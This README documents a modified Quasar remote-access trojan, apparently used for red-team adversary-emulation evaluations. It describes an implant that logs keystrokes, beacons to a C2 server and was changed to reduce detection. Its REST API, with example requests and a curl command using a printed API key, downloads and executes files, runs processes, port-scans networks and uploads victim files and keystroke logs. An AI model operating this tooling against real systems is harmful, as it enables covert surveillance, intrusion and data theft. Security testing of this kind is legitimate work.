#
Quasar (Modified)
This modified fork of Quasar builds on the existing Quasar C2 framework by MaxXor.
- The original license can be found here and on the original Github.
- The original README can be found on the original Github.
Several modifications have been made, including the following:
- Removed components that were not needed or used in the evaluation, to make the client more lightweight and reduce chances of detection:
- Credential access from browsers and other password stores
- Batch-script functionality to restart the implant
- Error-handling approach to automatically restart the implant via batch script
- Client update functionality
- Client website-visiting functionality
- Client geolocation detection via 3rd-party websites
- Adjusted existing IOCs
- Assembly information
- File names and paths
- Other setting/configuration info
- Added port scan tasking capability to the implant
- Added logging capabilities to the server and implant for troubleshooting (client-side logs are encrypted using AES-256-CBC and hardcoded key)
- Added REST API functionality to the server to programmatically manage implants
#
Quasar Client/Implant
#
Features
When starting up, the client will automatically do the following:
- perform several discovery procedures
- start logging keystrokes
- connect to the C2 server
The C2 server and other configuration settings are compiled into the implant binary, meaning that any changes will require the user to compile a new implant binary.
Each implant is associated with a unique ID, which is calculated by taking the MD5 hash of the target hostname + target username + the target user account type.
Since each implant checks for a hardcoded mutex to avoid duplicate implant sessions, you will need to rebuild an implant with a different mutex value if you want to have multiple implant sessions running simultaneously on a given machine.
#
Usage
To run the Quasar implant manually, you can simply run the implant binary:
.\Client.exe
#
Troubleshooting and Logging
Currently, the implant writes to a log file clientmanagement.log
in its current working directory.
In debug mode, the log entries are in plaintext.
In release mode, Each log entry is a base64-encoded encrypted message.
AES-256-CBC encryption is used with a hardcoded key: cc4acde9286d68e6a540c93576d2169106d8affda5123f3dfbdf9eb2fd3278e6
.
To decrypt the logs, please use the Evals c2 server utility python script decryptquasarlogs.py
:
python3 decryptquasarlogs.py -i /path/to/encrypted/logs -o out.txt
Here are some potential problems that you may run into with either the Quasar server or client, and how you can go about troubleshooting them:
- Can't start a client process
- Check the logs to see at what point the client process terminates. Note that only one instance of a Quasar client can run on a target machine at a time, since Quasar checks for the global mutex.
- Client won't connect to the C2 server
- Check for any error messages in the log file, and ensure your client settings are set to connect to the correct server and that the certificate information is correct.
- Connection seems to hang between Quasar server and client
- If your client process is alive, but you can't seem to task it via API, try restarting the Quasar server so the connection can reset.
- In the log file output, try searching for
disconnect
to get an idea of the root cause.
#
Encryption
Quasar client settings are encrypted and authenticated using AES-256-CBC and SHA256 HMAC.
The ENCRYPTIONKEY
setting value is used as a passphrase to derive the AES and HMAC keys via PBKDF2 (50000 iterations, SHA256 hashing function, salt value b0a0f82bbff1d2b5dab062a0bfe4312e3d9efaf34cd929292bc2a93d323b09ef
).
Currently, the setting value of "D088E59E5C03F101FFC97A8469FE5C6E3C3380EC"
will generate the following keys:
- AES:
1767c472eb822fb4e012fa605a6b546389a04a4997121f4189d307fb64e94eba
- HMAC auth:
f7a6d3cf948610539b9991fccd858ac1a74c482e56c2c373c72157d2e4c1494de58cc18439f2dde0c3f293188072fe3f831e16ddb0d768621bba1b1705ec9f42
String literal setting values in Quasar.Client/Config/Settings.cs
are base64-encoded ciphertext blobs: HMAC(IV + ciphertext) + IV + ciphertext.
These values are decoded and decrypted when the client starts up. Note that since these values are hardcoded, changing settings will require re-encrypting and regenerating HMAC hashes. You may use the config_enc_util.py
utility to generate these (Note: recommended to run this script on Linux to avoid quote issues on Windows.)
Usage:
python3 config_enc_util.py -p [ENCRYPTIONKEY password value] -i "string to encrypt and encode"
Example:
python3 config_enc_util.py -p D088E59E5C03F101FFC97A8469FE5C6E3C3380EC -i "https://www.google.com/"
#
Build
Built using Visual Studio and .NET 4.7.2.
#
Quasar Server
#
Usage
To run the Quasar Server, provide the path to the certificate file as well as the IP address for the REST API server to bind to:
.\Quasar.exe [-c CERT_FILE_PATH] [-ip REST_API_BIND_ADDR] [-p|port REST_API_PORT]
By default, the REST API server will bind to all interfaces and listen on port 8888. If no certificate file path is provided, the Quasar
Server will attempt to read the quasar.p12
file from the same directory as the Quasar.exe
binary.
For example:
# REST API server will only listen on 10.0.2.9:8000
.\Quasar.exe -ip 10.0.2.9 -p 8000 -c quasar.p12
# REST API server will listen on all interfaces on default port 8888
.\Quasar.exe -c quasar.p12
#
Logging
Server logs are written in plaintext to QuasarServerLogs.txt
in the server's current working directory.
#
REST API Functionality
The Quasar C2 server REST API was designed to be compatible with the existing Evals C2 server framework - users can use the corresponding Evals C2 handler to
track and manage Quasar implant sessions. Typically, users will not need to make raw API requests, as the Evals C2 handler will take care of those under the hood.
Most use cases will be satisfied by using the existing evalsC2client.py
script.
The REST API server will listen on port 8888 by default.
Files that the Quasar implant uploads to the Quasar server via API tasking will be stored in the uploads
folder in the Quasar server's current working directory.
The following endpoints and features are supported:
#
View Existing Session Information
GET /api/beacons
- fetch a JSON list of active Quasar implant sessions. The return format for a Quasar implant session dictionary is as follows:
id
: the implant's unique IDusername
: username of the user that the implant is running underhostname
: hostname of the machine on which the implant is runningip_addr
: IP address of the machine on which the implant is runningos
: target machine operating systemaccount_type
: account type of the implant user. Possible values:Admin
,User
,Guest
tag
: implant tag for categorization purposescountry_code
: country code of the target machinehardware_id
: hardware ID of the target machine
Example:
# GET /api/beacons
[
{
"id": "5CEF61CF22ACA6F40918643E3AAA0772",
"username": "testuser",
"hostname": "testhost",
"ip_addr": "127.0.0.1",
"os": "Windows 10 Pro 64 Bit",
"account_type": "User",
"tag": "RELEASE",
"country_code": "US",
"hardware_id": "AF67031351B51509F0C8C756CE7B1810A06783AE8750F53179FAD93023D5E585"
}
]
#
Task Implants
GET /api/tasks/{task_id}
- Fetch a JSON dictionary containing information for the Quasar implant task pertaining to the given task_id
.
The response dictionary format varies depending on the type of task, but they will always contain the following fields:
task_id
: string representing the task IDtask_type
: int representing the task type (e.g.1
for process creation)task_status
: int representing the task status0
means that the task was carried out successfully1
means the task errored out2
means that the task is pending
task_status_msg
: string providing extra details ontask_status
, such as an error message for atask_status
of2
.
POST /api/tasks
- create a task (non-file transfer. For file transfers, use the /api/transfers
endpoint) for the implant to execute, such as creating a process. Requires POST data consisting of a JSON dictionary with the following fields:
client_id
: string containing the ID of the Quasar implant to tasktask_type
: int representing the type of the task to execute.1
for process creation5
to initiate a port scan
- The remaining fields depend on the type of task to perform.
#
Process Creation Tasks
For process creation tasks (task_type
of 1
), include the following fields in the POST JSON dictionary:
proc_path
: (optional) string containing path to the binary to execute. If ommitted,download_url
anddownload_dst
will be used to determine which file to execute.proc_args
: (optional) string containing the process arguments. Multiple arguments must be combined into a single string, such as"/flag word1 word2"
download_url
: (optional) URL string pointing to the file to download and execute withproc_args
, if provided. Ifdownload_dst
is provided, the file will be saved to that path, otherwise a random name is selected with an.exe
extension. This field is only required ifproc_path
is not provided.download_dst
: (optional) filepath string indicating where to save the file downloaded fromdownload_url
use_shell
: (optional) boolean indicating whether or not to use the operating system shell to start the process. Default isfalse
. For more information, please refer to the Microsoft documentationget_output
: (optional) boolean indicating whether or not to wait for the implant to wait for the process to complete and send stdout/stderr to the server. Default istrue
. Cannot be enabled ifuse_shell
is also set to true - the server will setget_output
to false if both are enabled. Note that the implant will wait for process completion in a separate thread in order to handle multiple tasks in parallel.no_window
: (optional) boolean indicating whether or not to start the process in a new window. Default istrue
. Note that some processes, such asnotepad.exe
will appear in a new window regardless. Mainly used to prevent command-line executables such ashostname.exe
from briefly flashing a new window on execution.
For GET /api/tasks/{task_id}
requests pertaining to a process creation task, the response dictionary will contain the following fields in addition to the base response fields and the fields/values from the request dictionary:
pid
: int representing the process ID of the created process. Will be-1
if the task hasn't yet completed, since the implant sends this information to the C2 server.exit_code
: int representing the exit code of the created process. Will be-1
if the process hasn't yet finished. Only populated ifget_output
was set to true.stdout
: string representing the standard output of the process. Will be empty if the process hasn't yet finished. Only populated ifget_output
was set to true.stderr
: string representing the standard error of the process. Will be empty if the process hasn't yet finished. Only populated ifget_output
was set to true.
Examples:
## Process creation with args, not yet completed.
# POST /api/tasks
# POST data: '{"client_id": "0B4C114149C3E9A6CBEE590B72F08D4E", "task_type": 1, "proc_path": "whoami.exe", "proc_args": "/all" }'
{
"task_id": "caedfd24-2078-42b6-9a7e-e8724173073a",
"task_type": 1,
"task_status": 2,
"task_status_msg": "",
"proc_path": "whoami.exe",
"proc_args": "/all",
"download_url": "",
"download_dst": "",
"use_shell": false,
"get_output": true,
"no_window": true,
"pid": -1,
"exit_code": -1,
"stdout": "",
"stderr": ""
}
## Task info for a completed task with stdout
# GET /api/tasks/{task_id}
{
"task_id": "97bfb33b-d16b-4c06-92dc-95086b618e4a",
"task_type": 1,
"task_status": 0,
"task_status_msg": "",
"proc_path": "hostname.exe",
"proc_args": "",
"download_url": "",
"download_dst": "",
"use_shell": false,
"get_output": true,
"no_window": true,
"pid": 27356,
"exit_code": 0,
"stdout": "dummyhostname\n",
"stderr": ""
}
## Task info for a completed task with stderr
# GET /api/tasks/{task_id}
{
"task_id": "6af38b85-6179-4859-8452-f7d016cf41e6",
"task_type": 1,
"task_status": 0,
"task_status_msg": "",
"proc_path": "net.exe",
"proc_args": "",
"download_url": "",
"download_dst": "",
"use_shell": false,
"get_output": true,
"no_window": true,
"pid": 23616,
"exit_code": 1,
"stdout": "",
"stderr": "The syntax of this command is:\nNET\n [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |\n HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |\n STATISTICS | STOP | TIME | USE | USER | VIEW ]\n"
}
## Task info for an executed process without waiting for completion
# GET /api/tasks/{task_id}
{
"task_id": "03001dad-1d0d-4814-b6d1-70cf44b82246",
"task_type": 1,
"task_status": 0,
"task_status_msg": "",
"proc_path": "notepad.exe",
"proc_args": "",
"download_url": "",
"download_dst": "",
"use_shell": false,
"get_output": false,
"no_window": true,
"pid": 11740,
"exit_code": -1,
"stdout": "",
"stderr": ""
}
#
Port Scan Tasks
For port scan tasks (task_type
of 5
), include the following fields in the POST JSON dictionary:
range
: string containing a valid CIDR range (e.g.10.1.2.0/24
) to scanports
: int array containing the ports to scan the targetrange
for
For GET /api/tasks/{task_id}
requests pertaining to a process creation task, the response dictionary will contain the following fields in addition to the base response fields and the fields/values from the request dictionary:
range
: CIDR string for the scanned networkports
: int array containing the scanned portsresult
: dictionary mapping IP address string to int array of open ports based on the provided targetports
to scan.
Examples:
## Task port scan
# POST /api/tasks
# POST data: '{"client_id": "5CEF61CF22ACA6F40918643E3AAA0772", "task_type": 5, "range": "10.0.2.9/28", "ports": [8888,3389]}'
{
"task_id": "c875ed5d-07a0-46ac-b031-a6865330197a",
"task_type": 5,
"task_status": 2,
"task_status_msg": "",
"range": "10.0.2.9/28",
"ports": [
8888,
3389
],
"result": {}
}
## Task info for a completed port scan
# GET /api/tasks/{task_id}
{
"task_id": "c875ed5d-07a0-46ac-b031-a6865330197a",
"task_type": 5,
"task_status": 0,
"task_status_msg": "",
"range": "10.0.2.9/28",
"ports": [
8888,
3389
],
"result": {
"10.0.2.4": [
3389
],
"10.0.2.5": [
3389
],
"10.0.2.7": [
3389
],
"10.0.2.8": [
3389
],
"10.0.2.9": [
8888,
3389
],
"10.0.2.10": [
3389
],
"10.0.2.11": [
3389
],
"10.0.2.12": [
3389
],
"10.0.2.13": [
3389
],
"10.0.2.14": [
3389
],
"10.0.2.15": [
3389
]
}
}
#
File Downloads and Uploads
GET /api/transfers
- fetch a JSON list of all file transfers throughout the Quasar server session. The return format for a Quasar file transfer
dictionary is as follows:
id
: the transfer's unique IDtype
: transfer type.0
for server-to-client,1
for client-to-serversize
: size, in bytes, of file transferred.transferred_size
: number of bytes transferred so farlocal_path
: file source pathremote_path
: file destination pathstatus_msg
: Status message for the file transfer (e.g.Completed
)status
: integer status code for the file transfer:0
: completed successfully1
: ran into an error2
: pending3
: canceled
GET /api/transfers/{transfer_id}
- fetch a JSON dictionary containing information for the Quasar file transfer pertaining to the given transfer_id
POST /api/transfers
- create a file transfer task by POSTing a JSON dictionary with the following fields:
client_id
: string containing the ID of the Quasar implant to tasktype
: int representing the transfer type. 0 for server-to-client, 1 for client-to-serversource
: string representing the path of the source file to transfer. If performing a server-to-client transfer, this path must be a valid path on the Quasar server. If performing a client-to-server transfer, this path must exist on the target machine where the implant is running.dest
: string representing the filepath or filename to save the file as. If performing a server-to-client transfer, the file will be saved using the specified filepath on the target machine where the implant is running. If performing a client-to-server transfer, the file will be saved using the specified filename in theuploads
subdirectory of the Quasar server's current working directory. Optional for client-to-server transfers - if not provided, it will take the filename based on thesource
filepath.
GET /api/uploadedfiles
- fetch a JSON dictionary mapping file upload transfer IDs to the saved file path on the Quasar server
GET /api/uploadedfiles/{transfer_id}
- request the uploaded file pertaining to the given transfer_id
Examples:
# GET /api/transfers
[
{
"id": 1477877996,
"type": 0,
"size": 4821,
"transferred_size": 4821,
"local_path": "C:\\Users\\testuser\\myfile.text",
"remote_path": "C:\\Users\\Public\\myfile.text",
"status_msg": "Completed",
"status": 0
}
]
# GET /api/transfers/1477877996
{
"id": 1477877996,
"type": 0,
"size": 4821,
"transferred_size": 4821,
"local_path": "C:\\Users\\testuser\\myfile.text",
"remote_path": "C:\\Users\\Public\\myfile.text",
"status_msg": "Completed",
"status": 0
}
# GET /api/uploadedfiles
{
"1438023322": "C:\\Users\\testuser\\path\\to\\uploaded\\file.txt",
"1098610208": "C:\\Users\\testuser\\path\\to\\uploaded\\file.log"
}
## client-to-server transfer
# POST /api/transfers
# POST data: '{"client_id": "0B4C114149C3E9A6CBEE590B72F08D4E", "type": 1, "source": "C:\\Users\\Public\\cleanup.ps1", "dest": "transfer.ps1" }'
{
"id": 356532246,
"type": 1,
"size": 0,
"transferred_size": 0,
"local_path": "C:\\Users\\testuser\\Quasar\\uploads\\transfer.ps1",
"remote_path": "C:\\Users\\Public\\cleanup.ps1",
"status_msg": "Pending...",
"status": 2
}
## Server to client transfer
# POST /api/transfers
# POST data: '{"client_id": "0B4C114149C3E9A6CBEE590B72F08D4E", "type": 0, "source": "C:\\Windows\\System32\\notepad.exe", "dest": "C:\\Users\\Public\\npcopy.exe" }'
{
"id": 310008463,
"type": 0,
"size": 201216,
"transferred_size": 0,
"local_path": "C:\\Windows\\System32\\notepad.exe",
"remote_path": "C:\\Users\\Public\\npcopy.exe",
"status_msg": "Pending...",
"status": 2
}
#
Keystroke Log Uploads
While /api/transfers
is for generic file uploads and downloads, you can use the /api/transfers/keylogger
endpoint to manage keystroke log uploads, which is a special type of file upload task for QuasarRat.
The Quasar server will task the Quasar client to enumerate all files within its keystroke log directory, and the Quasar server will then generate individual file transfer tasks for each of those keystroke log files.
Keystroke log files are uploaded to the uploads/logged_keystrokes/{client_id}
subdirectory of the Quasar server's current working directory, where client_id
is the ID string of the client that uploaded the files.
For instance, keystroke log uploads for client 5CEF61CF22ACA6F40918643E3AAA0772
will go to uploads\logged_keystrokes\5CEF61CF22ACA6F40918643E3AAA0772
.
POST /api/transfers/keylogger
- create a file transfer task by POSTing a JSON dictionary with the following fields:
client_id
: string containing the ID of the Quasar implant to task
GET /api/transfers/keylogger/{task_id}
- returns a JSON dictionary containing information on the keystroke log upload task with ID task_id
. The dictionary will contain the following fields:
task_id
: Task ID stringstatus
: integer status code for the upload task:0
: completed successfully1
: ran into an error2
: pending3
: canceled4
: partial success (some logs failed to upload)5
: pending incomplete (unable to generate file transfers for some log files, other log files still in progress)
status_msg
: Status message for the upload task (e.g.Successfully retrieved all logs
)status_err_msg
: Status error message providing more context on non-success error codes.transfer_ids
: list of integers representing the file transfer IDs for the keystroke log files being uploaded. These can be queried viaGET /api/transfers/{transfer_id}
for individual transfer information.
Examples:
# GET /api/transfers/keylogger/{task_id}
{
"task_id": "fb76942c-9f28-4c0d-ab5a-7b4b5858fdb9",
"status": 0,
"status_msg": "Successfully retrieved all logs",
"status_err_msg": "",
"transfer_ids": [
521350519
]
}
# POST /api/transfers/keylogger
# POST data: '{"client_id": "5CEF61CF22ACA6F40918643E3AAA0772"}'
{
"task_id": "3b2a0ccb-d3fc-492e-a65b-ccd93606353d",
"status": 2,
"status_msg": "",
"status_err_msg": "",
"transfer_ids": []
}
#
Authentication
All REST API requests must have an APIKEY
header with the following API key string value: 81152cc4c24d327f8fe800afbfb9777c
.
Incorrect or missing API keys will result in a 401 Unauthorized.
response from the REST API server.
This authentication method is set to prevent other parties from sending queries to the Quasar REST API server to obtain
information on red team activity.
Example curl commands with the API key:
curl -s -H "APIKEY:81152cc4c24d327f8fe800afbfb9777c" http://10.0.2.9:8888/api/beacons
#
Build
Built using Msbuild and .NET 4.7.2 (use release configuration for static builds):
MSBuild.exe Quasar.sln /t:Build /p:Configuration=Release